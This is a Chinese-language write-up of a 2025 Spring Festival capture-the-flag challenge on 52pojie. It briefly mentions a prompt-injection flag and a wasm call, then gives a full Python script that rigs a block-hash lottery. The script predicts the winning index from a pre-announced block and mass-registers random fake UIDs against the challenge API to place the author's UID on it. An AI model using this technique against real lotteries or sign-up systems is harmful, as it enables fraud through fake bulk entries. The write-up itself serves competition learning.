【春节】解题领红包之 {番外篇} WriteUp
flag9:提示词攻击(如图)
flag10:wasm函数调用(抽奖页面F12,根据提示注册调用函数即可。具体如图)
flag11:提前暴露抽奖区块漏洞
原理:根据算法开奖的区块应该是开奖的时候实时获取的最高区块,但是在没开奖前页面就公布了开奖的那个区块,所以存在提前计算的可能。因算法中是使用一个巨大的数(hash)与一个较小的数(usercount)只要控制好uasrcount就可以控制中奖的那个。
关键细节1:校验码有效时限
校验码有效期只有1分钟,过时间就失效。
简单的方法:
在浏览器调用生成开奖前1分钟的verifycode进行批量参加报名。
较复杂方法:
如脚本中引入wasm中的函数自动生成校验码
verify_code = wasm.get_verify_code_py(str(target_timestamp)+"|")
关键细节2:获取hash计算合理区间内中奖的可能性
通过轮询找到合理区间内9800以后号码能中奖的情况
def calculate_possible_winning_indices(block_hash, min_user_count=9980, max_user_count=10250):
"""计算所有可能的中奖情况,返回可能中奖的情况"""
possible_winnings = []
for user_count in range(min_user_count, max_user_count + 1):
hash_int = int(block_hash, 16)
user_index = hash_int % user_count
if user_index >= min_user_count:
possible_winnings.append((user_count, user_index))
return possible_winnings
关键细节3:批量上报uid
一开始因为有多人在一起干扰,走了较多弯路...
核心思路是报名成功会返回当前userindex(其实就是usercount+1),一定得用这个轮询,不可用固定数量的循环函数!
还留了几个等最后10秒才动手,就这样还是等到降低难度分ip了之后才成功qaq
利用代码如下:
import sys
import requests
import time
from datetime import datetime, timedelta
import random
import wasm
def check_block_exist(block_height):
"""检查指定区块是否存在"""
api_url = "https://api.upowerchain.com/apis/v1alpha1/block/get"
payload = {"number": block_height}
headers = {'Content-type': 'application/json'}
response = requests.post(api_url, json=payload, headers=headers)
if response.status_code == 200:
data = response.json().get('data', {})
if data and 'blockHash' in data:
return data.get('blockHash')
else:
print(f"区块高度 {block_height} 尚未生成,等待5秒后重试...")
time.sleep(5)
return None
else:
print(f"获取区块时发生错误,状态码: {response.status_code}, 等待5秒后重试...")
time.sleep(5)
return None
def get_block_hash(block_height):
"""获取指定区块高度的区块哈希值"""
while True:
block_hash = check_block_exist(block_height)
if block_hash:
return block_hash
def calculate_possible_winning_indices(block_hash, min_user_count=9980, max_user_count=10250):
"""计算所有可能的中奖情况,返回可能中奖的情况"""
possible_winnings = []
for user_count in range(min_user_count, max_user_count + 1):
hash_int = int(block_hash, 16)
user_index = hash_int % user_count
if user_index >= min_user_count:
possible_winnings.append((user_count, user_index))
return possible_winnings
def generate_unique_uid(existing_uids):
"""在1-2500000范围内随机生成一个唯一的UID"""
while True:
new_uid = random.randint(1, 2500000)
if new_uid not in existing_uids:
return new_uid
def is_verify_code_valid(timestamp):
"""检查verify_code是否有效(有效期1分钟)"""
current_time = int(time.time())
return abs(current_time - timestamp) <= 60
def join_lottery(timestamp, uid, verify_code):
"""加入抽奖,并打印使用的UID和返回的user_index"""
if not is_verify_code_valid(timestamp):
print("Error: verify_code已过期,请重新获取并输入新的verify_code")
sys.exit(0)
return None
url = 'https://2025challenge.52pojie.cn/api/lottery/join'
headers = {
'Accept': '*/*',
'Accept-Language': 'zh-CN,zh-HK;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6',
'Connection': 'keep-alive',
'Content-Type': 'application/json'
}
payload = {
"timestamp": timestamp,
"uid": uid,
"verify_code": verify_code
}
response = requests.post(url, json=payload, headers=headers)
result = response.json()
user_index = result['data']['user_index']
print(f"使用UID: {uid}, 返回的user_index: {user_index}")
return user_index
def gethight():
"""通过history接口获取抽奖区块"""
url = 'https://2025challenge.52pojie.cn/api/lottery/history'
headers = {
'Accept': '*/*',
'Accept-Language': 'zh-CN,zh-HK;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6',
'Connection': 'keep-alive'
}
response = requests.get(url, headers=headers)
data = response.json()
return data['data']['history'][0]['block_number']
if __name__ == "__main__":
existing_uids = set()
target_uid = 2121487
block_height = gethight()
print(f"区块高度: {block_height}")
timestamp = int(time.time())
next_5min = timestamp - timestamp % 300 + 300
target_timestamp = next_5min -60
verify_code = wasm.get_verify_code_py(str(target_timestamp)+"|")
print(f"时间戳 {target_timestamp} 对应的verify_code: {verify_code}")
block_hash = get_block_hash(block_height)
print(f"区块哈希: {block_hash}")
possible_winnings = calculate_possible_winning_indices(block_hash)
if not possible_winnings:
print("没有找到符合条件的中奖可能性。")
exit()
for user_count, user_index in possible_winnings:
print(f"userCount={user_count}时,中奖的游戏编号: {user_index}")
current_user_index = None
gold=0
goldcount=0
isin=False
while True:
if int(time.time())>=(next_5min-60):
current_time = int(time.time())
if not is_verify_code_valid(target_timestamp):
print("Error: verify_code已过期,请重新获取并输入新的verify_code")
sys.exit(0)
new_uid = generate_unique_uid(existing_uids)
existing_uids.add(new_uid)
current_user_index = join_lottery(target_timestamp, str(new_uid), verify_code)
if current_user_index is None:
continue
if gold==0:
for user_count, user_index in possible_winnings:
if user_count>current_user_index and current_user_index<user_index and goldcount == 0 :
print(f"选中结果userCount={user_count},且我参加中奖的游戏编号: {user_index}")
gold=user_index
goldcount=user_count
if gold==0:
print("damm!!!!没有中奖的可能了!")
sys.exit(0)
else :
if not isin :
if current_user_index==gold-1 and not isin :
print(f"发现有可能中奖的机会,尝试使用UID {target_uid} 参加抽奖...")
current_user_index=join_lottery(target_timestamp, str(target_uid), verify_code)
if current_user_index==gold:
print("成功参选目标编号!!!")
isin=True
else:
print("damm!!!!被人抢了位置!参选目标编号失败")
gold=0
goldcount = 0
print("从新找目标1")
for user_count, user_index in possible_winnings:
if user_count>current_user_index and current_user_index<user_index and goldcount == 0 :
print(f"选中结果userCount={user_count},且我参加中奖的游戏编号: {user_index}")
gold=user_index
goldcount=user_count
if gold==0:
print("damm!!!!没有中奖的可能了!")
sys.exit(0)
else :
if current_user_index>gold and not isin :
print("damm!!!!被人抢了位置!参选目标编号失败")
gold=0
goldcount = 0
print("从新找目标2")
for user_count, user_index in possible_winnings:
if user_count>current_user_index and current_user_index<user_index and goldcount == 0 :
print(f"选中结果userCount={user_count},且我参加中奖的游戏编号: {user_index}")
gold=user_index
goldcount=user_count
if gold==0:
print("damm!!!!没有中奖的可能了!")
sys.exit(0)
if current_user_index>=goldcount-10 and isin and int(time.time()) <= (next_5min-10):
print(f"当前usercount为{current_user_index},目标是{goldcount}留了10个等最后10秒跑")
while int(time.time()) <= (next_5min - 10):
time.sleep(1)
if current_user_index==goldcount-1:
print(f"达到抽奖条件,敬候佳音。当前usercount为{current_user_index}")
sys.exit(0)
else:
if current_user_index>goldcount:
print(f"damm!!!!被人加塞了!当前usercount为{current_user_index}")
sys.exit(0)
if int(time.time()) > next_5min:
print("已开奖,没机会了!")
time.sleep(0.1)
else:
print(f"\r时间没到,先等等,还差{target_timestamp-int(time.time())}秒。", end='')
time.sleep(5)
print("脚本执行结束。")